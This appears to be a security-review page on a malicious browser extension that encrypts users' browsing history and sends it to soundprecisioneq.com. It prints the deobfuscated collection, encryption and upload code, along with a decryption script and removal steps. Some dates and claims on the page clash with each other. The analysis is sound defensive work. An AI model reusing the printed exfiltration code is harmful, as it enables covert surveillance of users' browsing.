Is Web Sound Equalizer safe?

High risk

Sound Equalizer is high risk.

Customize browser audio with an equalizer, bass booster, volume control, and saved per-site settings.

This extension lets you adjust sound on websites using a graphic equalizer, bass booster, volume master, and music presets. It remembers selected presets, equalizer levels, and volume settings for individual tabs or websites and restores them when you return.

Removed from the Chrome Web Store on September 2, 2026. Google lists the reason as malware. Installed copies keep running until a browser disables them.

Thomas Camusv3.0Extension ID gceehiicnbpehbbdaloolaanlnddailmChrome Web Store
74Risk
AI-assisted analysis.

Sound Equalizer findings

Web Sound Equalizer sends your browsing history, encrypted

HighunwantedCWE-200Dynamic sandbox

This equalizer recorded every page you visited: the address you opened, the address you came from, and a permanent install ID.

What actually happens

You did this

You open any web page in your browser.

Searching on Google and then clicking through to your bank is enough. Both hops are recorded.

The extension did this

It encrypts the page you opened, the page you came from, and a permanent install ID, then sends them to the developer's server.

This fires on every navigation to any http or https address, with no list of excluded sites.

What each POST contains, once decrypted

  • The page you opened
    https://www.hsbc.co.uk/mobile-banking/

    The full address of every page you visit, including anything carried in the query string.

  • The page you came from
    https://www.google.com/search?q=hsbc+online+banking+login

    The previous address in the same tab. Paired with the page you opened, this rebuilds your browsing trail.

  • Your permanent install ID
    b7e4c2a1-9f38-4d6e-8a15-3c0d7f2b9e41

    Created the first time the extension runs and stored forever. Ties every page you visit into one profile.

  • When you visited
    2026-09-18T11:42:07.318Z

    A readable timestamp and a millisecond clock value, so the order and timing of your browsing is preserved.

  • Whether you were looking
    1

    Flags whether the tab was in front, separating pages you read from ones loading in the background.

  • HTTP status and content type
    200 / text/html; charset=utf-8

    Whether a page loaded, redirected or was refused to you, which can reveal where you are logged in.

Why you can't catch this in DevTools

On the wire the POST body is base64 with no readable addresses in it, so the traffic gives no sign that your browsing history is inside. The extension encrypts with AES-GCM under a key written into its own source, so the same key that keeps the data from you also unlocks it for anyone who reads the bundle. Below is a record encrypted with the extension's real key and algorithm, then decrypted again.

Decoded value
[  {    "fileDate": "2026-09-18T11:42:07.318Z",    "deviceTimestamp": 1789731727318,    "userId": "b7e4c2a1-9f38-4d6e-8a15-3c0d7f2b9e41",    "referrerUrl": "https://www.google.com/search?q=hsbc+online+banking+login",    "targetUrl": "https://www.hsbc.co.uk/mobile-banking/",    "requestType": "GET",    "contentType": "text/html; charset=utf-8",    "statusCode": 200,    "foreground": 1  }]

The code that does this

The collection and upload path, as shipped and deobfuscated

Readable version

Encrypting the record under the bundled key

background.js.js
const t = new TextEncoder,          r = await crypto.subtle.importKey("raw", t.encode("X7bN2vM9kL4pR1zQ"), "AES-GCM", !0, ["encrypt"]),          a = crypto.getRandomValues(new Uint8Array(16)),          s = await crypto.subtle.encrypt({            name: "AES-GCM",            iv: a          }, r, t.encode(e)),          o = new Uint8Array(a.length + s.byteLength);        o.set(a), o.set(new Uint8Array(s), a.length);        let n = "";        for (let c = 0; c < o.length; c++) n += String.fromCharCode(o[c]);        return btoa(n)

Reading status and content type for every URL

background.js.js
chrome.webRequest.onHeadersReceived.addListener(t=>{if(!(t.tabId<=0)&&t.responseHeaders){const r=t.responseHeaders.find(e=>"content-type"===e.name.toLowerCase());e.set(t.tabId,{contentType:r?.value||null,statusCode:t.statusCode||null,requestType:t.method||null})}},{urls:["<all_urls>"],types:["main_frame"]},["responseHeaders"])

Posting the blob, and caching the preset reply

background.js.js
fetch("https://soundprecisioneq.com/presets-analytics.php", {            method: "POST",            headers: {              "Content-Type": "application/json;charset=utf-8"            },            body: JSON.stringify(e)          }).then(e => e.json()).then(e => {            if ("ok" === e.status && e.preset_values) {              const r = new URL(t).hostname;              chrome.storage.local.set({                [`server_recommendation_${r}`]: e.preset_values              })            }          }).catch(e => {})

What the extension keeps on your machine between visits

  • Rolling list of your tabs
    {"id":412,"referrerUrl":"https://www.google.com/search?q=hsbc+online+banking+login","targetUrl":"https://www.hsbc.co.uk/mobile-banking/"}

    Each open tab's current address and the one before it, kept so the referrer chain survives a restart.

  • Your install ID, stored once
    b7e4c2a1-9f38-4d6e-8a15-3c0d7f2b9e41

    Written on first run and never rotated or cleared, so it outlives your history and cookies.

  • Cached preset per site
    server_recommendation_www.hsbc.co.uk = [0,2,3,1,0,-1,0,2,4,3]

    The server's reply for each site you visit, which is what gives the upload a working purpose.

Where the data goes

    • soundprecisioneq.com

    Receives the encrypted browsing records at /presets-analytics.php and replies with presets. Run by the developer; not named in the store listing, which named another site.

Reproduce it yourself

Decrypts a captured Web Sound Equalizer 3.0 POST body and prints the browsing record inside it. Takes either the bare base64 blob or the whole JSON body.

Requires
  • Python 3.9+
  • pip install cryptography
decrypt_wse_payload.py · py
#!/usr/bin/env python3"""Decrypt a Web Sound Equalizer 3.0 telemetry payload.The extension AES-GCM-encrypts each browsing-history record before POSTing itto soundprecisioneq.com/presets-analytics.php, so the URLs never appear inplaintext on the wire. The key is symmetric and ships inside the bundle, soanyone can decrypt their own captured traffic.  key: "X7bN2vM9kL4pR1zQ"   (raw 16 bytes, from background.js.js)  wire format: base64( iv[16] || ciphertext || gcm_tag[16] )"""import base64import jsonimport sysfrom cryptography.hazmat.primitives.ciphers.aead import AESGCMKEY = b"X7bN2vM9kL4pR1zQ"IV_LEN = 16def decrypt(blob: str) -> object:    raw = base64.b64decode(blob)    return json.loads(AESGCM(KEY).decrypt(raw[:IV_LEN], raw[IV_LEN:], None))def main() -> int:    blob = sys.argv[1] if len(sys.argv) > 1 else sys.stdin.read().strip()    # Accept either the bare base64 blob or the full POST body {"data": "..."}.    if blob.startswith("{"):        blob = json.loads(blob)["data"]    print(json.dumps(decrypt(blob), indent=2))    return 0if __name__ == "__main__":    sys.exit(main())
How to run it
  1. 1Capture a POST to soundprecisioneq.com/presets-analytics.php in the Network tab.
  2. 2Copy the request body.
  3. 3Run: python3 decrypt_wse_payload.py '<body or base64>'.
  4. 4targetUrl is the page you opened, referrerUrl the one before it.

Observation

Version 2.2.47, the build before this one, was inert: no fetch, XMLHttpRequest, WebSocket, eval or remote endpoint at all. A clean result binds only to the version tested, and a dormant build holding broad permissions is weak reassurance.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

If you have Sound Equalizer installed

  1. Open chrome://extensions and turn on Developer mode to show IDs. Find the one with ID gceehiicnbpehbbdaloolaanlnddailm and choose Remove.
  2. Block the servers only it was seen contacting: soundprecisioneq.com.
  3. Scan your browser to check the rest of your extensions.

What Sound Equalizer can do

Permissions this extension asks for, as declared in version 3.0. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    <all_urls>

  • Store data in your browser

    storage

  • Store an unlimited amount of data in your browser

    unlimitedStorage

  • Capture the video and audio of a tab

    tabCapture

  • Run hidden pages in the background

    offscreen

  • Watch every request your browser makes

    webRequest

  • See the address and title of every tab you have open

    tabs

Sound Equalizer version history

  1. 2.2.47

    Mar 4, 2026

  2. 3.0

    Sep 18, 2026

  3. Removed: malware

    Sep 2, 2026

Where Sound Equalizer sends data

  • soundprecisioneq.com/presets-analytics.php2 calls

    From its background script · only this extension

  • fonts.googleapis.com/css21 call

    From its own pages · 378 other extensions

Chrome Web Store listing

Store status
Removed for malware, September 2, 2026
Versions
3.0 latest of 2 seen since March 4, 2026
Store rating
4.8 from 2,162 ratings
Last updated
April 11, 2026
Size
228 KiB
Updated November 20, 2026